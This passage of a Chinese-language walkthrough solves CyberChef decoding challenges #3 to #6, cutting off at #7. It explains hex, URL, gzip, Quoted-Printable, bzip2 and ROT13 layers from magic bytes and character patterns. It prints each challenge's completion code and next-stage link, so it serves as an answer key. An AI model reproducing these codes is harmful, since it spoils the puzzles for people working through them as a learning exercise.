&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Base64 encoding. To learn more, visit wikipedia.org/wiki/Base64.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 3b9fae1d-93fe-4f2e-ab10-78d3c4f52784.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/LMQTiXA2.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Base64&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#3 Hexadecimal &amp;amp; URL&lt;a href=&quot;#3-hexadecimal--url&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;6e 63 6f 64 69 6e 67 25 32 45 25 30 41 25 30 41 54 68 65 25 32 30 63 6f 64 65 25 32 30 66 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 69 73 25 32 30 39 35 39 62 30 39 62 39 25 32 44 32 36 37 63 25 32 44 34 35 38 35 25 32 44 62 63 38 37 25 32 44 33 34 61 61 65 32 32 32 36 65 33 35 25 32 45 25 30 41 25 30 41 54 68 65 25 32 30 6e 65 78 74 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 63 61 6e 25 32 30 62 65 25 32 30 66 6f 75 6e 64 25 32 30 61 74 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 61 73 74 65 62 69 6e 25 32 45 63 6f 6d 25 32 46 71 63 30 66 62 37 55 77 25 32 45&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;同样转十进制对照ASCII：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations%2C%20you%20have%20completed%20CyberChef%20challenge%20%233%21%0A%0AThis%20challenge%20explored%20URL%20percent%20encoding%2E%20To%20learn%20more%2C%20visit%20wikipedia%2Eorg%2Fwiki%2FPercent%2Dencoding%2E%0A%0AThe%20code%20for%20this%20challenge%20is%20959b09b9%2D267c%2D4585%2Dbc87%2D34aae2226e35%2E%0A%0AThe%20next%20challenge%20can%20be%20found%20at%20https%3A%2F%2Fpastebin%2Ecom%2Fqc0fb7Uw%2E&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;大量的“%”是URL编码的标志.&lt;/p&gt;&lt;p&gt;URL编码的规则：将超过ASCII范围的字符和不安全字符转换为%XX（XX是字符的十六进制数值）表示。&lt;/p&gt;&lt;p&gt;解码之后得到明文：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #3!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored URL percent encoding. To learn more, visit wikipedia.org/wiki/Percent-encoding.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 959b09b9-267c-4585-bc87-34aae2226e35.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/qc0fb7Uw.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; URL Decode&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#4 Hexadecimal &amp;amp; Gzip&lt;a href=&quot;#4-hexadecimal--gzip&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1f 8b 08 08 f9 fc 70 5e 00 ff 48 69 6e 74 3a 20 44 65 74 65 63 74 20 46 69 6c 65 20 54 79 70 65 00 55 8e 3d 72 c3 20 10 85 7b 9f 62 33 69 2d 88 62 c9 3f 29 a3 22 4d 4a 5d 60 11 2b c1 04 03 03 2b c7 ce e9 0d 99 14 4e f9 de ec f7 bd 1d 82 5f 12 f2 ea 90 6d f0 79 0b b7 b0 82 c1 0b c1 14 ce d1 11 93 86 e1 a6 28 0d 86 66 98 0c 3a 47 7e 21 78 ee 9e 36 9b d1 d8 fc d0 d1 35 ba 90 0a f0 f1 63 e3 2f 9f 28 e7 a2 15 30 06 70 84 c9 c3 b9 1c 6c e1 62 b3 65 f8 b6 5f 36 92 b6 28 42 5a 64 4d b2 92 a2 8a eb be 26 98 43 02 fe bf 52 c2 be a7 7e 3e b6 6d a3 f4 11 9b 6e ea 4f 8d 3a e8 ae a1 9d de d1 cb 2b 1e b4 6e ff 2c 9e ae fc 00 4f e8 41 55 ed ea 35 20 83 61 8e f9 4d ca 88 99 49 59 2f ca d7 b2 7f cf fb 4f 1e 3b 71 07 d4 3e af b4 1d 01 00 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;1f 8b&lt;/code&gt;是gzip文件的魔术字节，表示这是一个gzip文件。&lt;/p&gt;&lt;p&gt;所以这大概率是一个gzip文件的十六进制数据，解压即可得到明文：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #4!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Gzip compression. To learn more, visit wikipedia.org/wiki/Gzip.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 65e5f811-bd8a-4c59-b7d4-e3d3e02a7dd1.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/5Bs6LtT4.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; Gunzip&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#5 Hexadecimal &amp;amp; Quoted Printable &amp;amp; Bzip2&lt;a href=&quot;#5-hexadecimal--quoted-printable--bzip2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;42 5a 68 39 31 41 59 26 53 59 34 3d 45 44 3d 31 37 3d 44 45 3d 30 30 3d 30 30 28 3d 44 46 3d 38 30 3d 30 30 3d 31 30 68 3d 30 37 3d 46 37 3d 46 30 3d 30 43 3d 30 30 66 3d 30 30 3d 33 46 3d 45 46 3d 44 46 3d 46 30 30 3d 30 30 3d 0d 0a 3d 44 41 3d 38 31 48 3d 43 34 3d 43 38 3d 44 30 68 3d 30 33 43 3d 30 38 3d 30 30 3d 30 30 3d 43 30 3d 43 38 32 3d 30 30 3d 30 43 46 3d 38 33 21 3d 39 30 3d 31 38 35 4f 3d 31 34 3d 46 34 46 3d 39 34 3d 46 43 52 6f 42 3d 0d 0a 3d 39 45 3d 41 37 3d 41 36 6a 46 3d 39 41 63 3d 31 32 6d 46 3d 30 34 3a 32 3d 43 38 52 5d 52 7a 68 3d 31 30 3d 31 31 3d 30 31 3d 41 41 3d 31 46 3d 38 36 3d 31 45 3d 42 30 52 3d 42 41 3d 30 42 5e 3d 31 36 25 3d 41 46 3d 30 37 3d 0d 0a 3d 46 31 3d 44 37 38 74 3d 43 46 3d 42 37 3d 31 36 3d 39 35 3d 38 42 3d 30 35 3d 45 41 3d 39 34 30 44 3d 46 31 3d 31 34 3d 43 33 3d 32 32 62 6a 3d 32 32 3d 38 43 6d 3d 41 41 3d 45 35 3d 41 34 3d 44 45 3d 39 34 53 3d 42 34 2e 3d 0d 0a 3d 41 36 3d 42 33 3d 41 43 3d 31 42 3d 38 30 3d 30 38 3d 33 46 46 3d 44 41 2c 49 3d 43 35 3d 42 38 09 28 3d 41 32 72 35 3d 30 38 40 3d 46 41 2a 3d 31 45 61 3d 44 45 5e 3d 39 45 3d 44 42 3d 31 41 3d 43 33 3d 38 42 26 3d 0d 0a 3d 43 44 3d 39 32 3d 44 30 3d 43 32 3d 31 32 3d 41 41 2a 3d 30 33 48 3d 46 38 45 3d 45 38 30 3d 41 35 3d 43 35 40 3d 44 45 3d 46 30 3d 31 37 3d 43 38 3d 44 34 3d 41 30 3d 39 46 3d 43 45 3d 46 34 20 76 3d 30 36 2c 3d 0d 0a 43 6e 3d 45 37 3d 39 30 3d 44 39 3d 43 31 64 3d 30 35 3d 42 39 3d 30 30 58 3d 44 32 48 3d 46 41 3d 41 46 3d 41 44 3d 38 38 3d 38 30 30 3d 31 38 3d 46 37 3d 39 30 3d 31 32 4d 3c 3e 76 3d 30 45 6b 3d 38 42 5b 3d 42 46 3d 0d 0a 3d 45 36 3d 31 30 3d 38 46 3d 44 31 3d 44 31 3d 45 41 3d 45 42 3d 39 44 44 3d 44 30 3d 44 31 3d 43 34 74 3d 38 43 2b 3d 41 38 5e 3d 43 42 31 3a 50 3d 42 37 3d 30 38 3d 42 43 09 3d 0d 0a 3d 41 32 3d 31 37 3d 41 37 3d 31 46 3d 46 31 77 24 53 3d 38 35 09 3d 30 33 4e 3d 44 31 7d 3d 45 30&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;42 5a 68&lt;/code&gt;是Bzip2的魔术字节，所以这大概率是一个Bzip2压缩的文件。&lt;/p&gt;&lt;p&gt;但尝试直接解压却失败了，转十进制得到的数据看起来经过了编码：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;BZh91AY&amp;amp;SY4=ED=17=DE=00=00(=DF=80=00=10h=07=F7=F0=0C=00f=00=3F=EF=DF=F00=00=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=DA=81H=C4=C8=D0h=03C=08=00=00=C0=C82=00=0CF=83!=90=185O=14=F4F=94=FCRoB=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=9E=A7=A6jF=9Ac=12mF=04:2=C8R]Rzh=10=11=01=AA=1F=86=1E=B0R=BA=0B^=16%=AF=07=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=F1=D78t=CF=B7=16=95=8B=05=EA=940D=F1=14=C3=22bj=22=8Cm=AA=E5=A4=DE=94S=B4.=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=A6=B3=AC=1B=80=08=3FF=DA,I=C5=B8  (=A2r5=08@=FA*=1Ea=DE^=9E=DB=1A=C3=8B&amp;amp;=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=CD=92=D0=C2=12=AA*=03H=F8E=E80=A5=C5@=DE=F0=17=C8=D4=A0=9F=CE=F4 v=06,=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Cn=E7=90=D9=C1d=05=B9=00X=D2H=FA=AF=AD=88=800=18=F7=90=12M&amp;lt;&amp;gt;v=0Ek=8B[=BF=&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=E6=10=8F=D1=D1=EA=EB=9DD=D0=D1=C4t=8C+=A8^=CB1:P=B7=08=BC  =&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;=A2=17=A7=1F=F1w$S=85  =03N=D1}=E0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;编码展现出了QP编码的特征：大量的“=”，大部分“=”都紧跟着两个十六进制字符。&lt;/p&gt;&lt;p&gt;QP编码的规则是ASCII范围内的可打印字符不变，超过范围的和不可见的字符则使用“=XX（XX是字符的十六进制数值）”来表示。&lt;/p&gt;&lt;p&gt;解码之后再Bzip2解压就可以得到明文：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #5!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Quoted-Printable encoding. To learn more, visit wikipedia.org/wiki/Quoted-printable.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is dbe82a2e-81df-4641-9418-1901c8298e76.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at https://pastebin.com/fzgyDUeD.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; From Quoted Printable —&amp;gt; Bzip2 Decompress&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#6 Base64 &amp;amp; Gzip &amp;amp; ROT13&lt;a href=&quot;#6-base64--gzip--rot13&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;H4sIAL39cF4A/wtISixJzUvPqMxLL0tKTNNRyEnKUCjNyyxSKEiqSq4sSi8qVAjIyS9KDSgtKlYoKM2rrCxKLClSUDZT5OJyLy1LQxIryk6uTEoFanB1cjc0VihKLEgqLEss0VNwT1KoLMpLTVSoAkrrKGSWpZWlK2SVVZQlFxWW5eklpZbog3j6YH16IHNB1hcWKRQnpSqko1oC5JgUW5qYFeYb6BoamxTpmpiZmelamhiZ6JoYmBqYGucbWFhYFENNSSzKTkfSXJCXqJAPMjYjsVAhL12htDQ9PTnNSl8/OS8tvSi/LFEP6Gt9f/Mqo0KPiEg9ANGbEoYdAQAA&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Base64解码之后得到的数据杂乱无章：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;267&quot; src=&quot;/_astro/image-20260305202329923.C03BdXyZ_1HYYyW.webp&quot; /&gt;&lt;figcaption&gt;image-20260305202329923&lt;/figcaption&gt;&lt;/figure&gt;转十六进制查看数据：&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1f 8b 08 00 bd fd 70 5e 00 ff 0b 48 4a 2c 49 cd 4b cf a8 cc 4b 2f 4b 4a 4c d3 51 c8 49 ca 50 28 cd cb 2c 52 28 48 aa 4a ae 2c 4a 2f 2a 54 08 c8 c9 2f 4a 0d 28 2d 2a 56 28 28 cd ab ac 2c 4a 2c 29 52 50 36 53 e4 e2 72 2f 2d 4b 43 12 2b ca 4e ae 4c 4a 05 6a 70 75 72 37 34 56 28 4a 2c 48 2a 2c 4b 2c d1 53 70 4f 52 a8 2c ca 4b 4d 54 a8 02 4a eb 28 64 96 a5 95 a5 2b 64 95 55 94 25 17 15 96 e5 e9 25 a5 96 e8 83 78 fa 60 7d 7a 20 73 41 d6 17 16 29 14 27 a5 2a a4 a3 5a 02 e4 98 14 5b 9a 98 15 e6 1b e8 1a 1a 9b 14 e9 9a 98 99 99 e9 5a 9a 18 99 e8 9a 18 98 1a 98 1a e7 1b 58 58 58 14 43 4d 49 2c ca 4e 47 d2 5c 90 97 a8 90 0f 32 36 23 b1 50 21 2f 5d a1 b4 34 3d 3d 39 cd 4a 5f 3f 39 2f 2d bd 28 bf 2c 51 0f e8 6b 7d 7f f3 2a a3 42 8f 88 48 3d 00 d1 9b 12 86 1d 01 00 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;1f 8b&lt;/code&gt;是gzip的魔术字节，解压：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Pbatenghyngvbaf, lbh unir pbzcyrgrq PlorePurs punyyratr #6!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Guvf punyyratr rkcyberq EBG13 rapbqvat. Gb yrnea zber, ivfvg jvxvcrqvn.bet/jvxv/EBG13.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Gur pbqr sbe guvf punyyratr vf 4s946qo0-134r-4666-9424-405053o0888s.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Gur arkg punyyratr pna or sbhaq ng uuggcf://cnfgrova.pbz/O7z2qHXY.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;结果很奇怪，但是和之前的明文又有相似之处，从以往的结果来看，“PlorePurs”应该是“CyberChef”才对。&lt;/p&gt;&lt;p&gt;所以这应该是原文经过某种偏移形成的结果，首先想到的是凯撒。&lt;/p&gt;&lt;p&gt;在偏移量为13的时候找到了结果：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #6!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored ROT13 encoding. To learn more, visit wikipedia.org/wiki/ROT13.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 4f946db0-134e-4666-9424-405053b0888f.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at hhttps://pastebin.com/B7m2dUKL.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;所以这其实是ROT13，不过ROT13本来也是凯撒密码的特例。&lt;/p&gt;&lt;p&gt;Recipe: From Base64 —&amp;gt; Gunzip —&amp;gt; ROT13&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#7 Base64 &amp;amp; ROT13 &amp;amp; XOR&lt;a href=&quot;#7-base64--rot13--xor&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cEJBVEVOR0hZTkdWQkFGDABMQkgAVU5JUgBQQlpDWVJHUlEAcExPUkVwVVJTAFBVTllZUkFUUgADFwEqKmdVVkYAUFVOWVlSQVRSAFJLQ1lCRVJRAGtiZQBSQVBCUVZBVA4AZ0IAWVJORUEAWkJFUgwASVZGVkcASlZYVkNSUVZODkJFVA9KVlhWD3JLUFlIRlZJUn9CRQ4qKmdVUgBQQlFSAFNCRQBHVVZGAFBVTllZUkFUUgBWRgATUxYYUlMQTw0XUhdTDRROEhQNThUTGA0TTxFRUE5PUhIRTlEOKipnVVIAQVJLRwBQVU5ZWVJBVFIAUE5BAE9SAFNCSEFRAE5HAFVHR0NGGg8PQ05GR1JPVkEOUEJaD2FsaFEWSxBuDg==&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Base64解码之后的文本有很多不可见字符：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;905&quot; height=&quot;267&quot; src=&quot;/_astro/image-20260305201659591.BR6xp8VZ_ZnoS51.webp&quot; 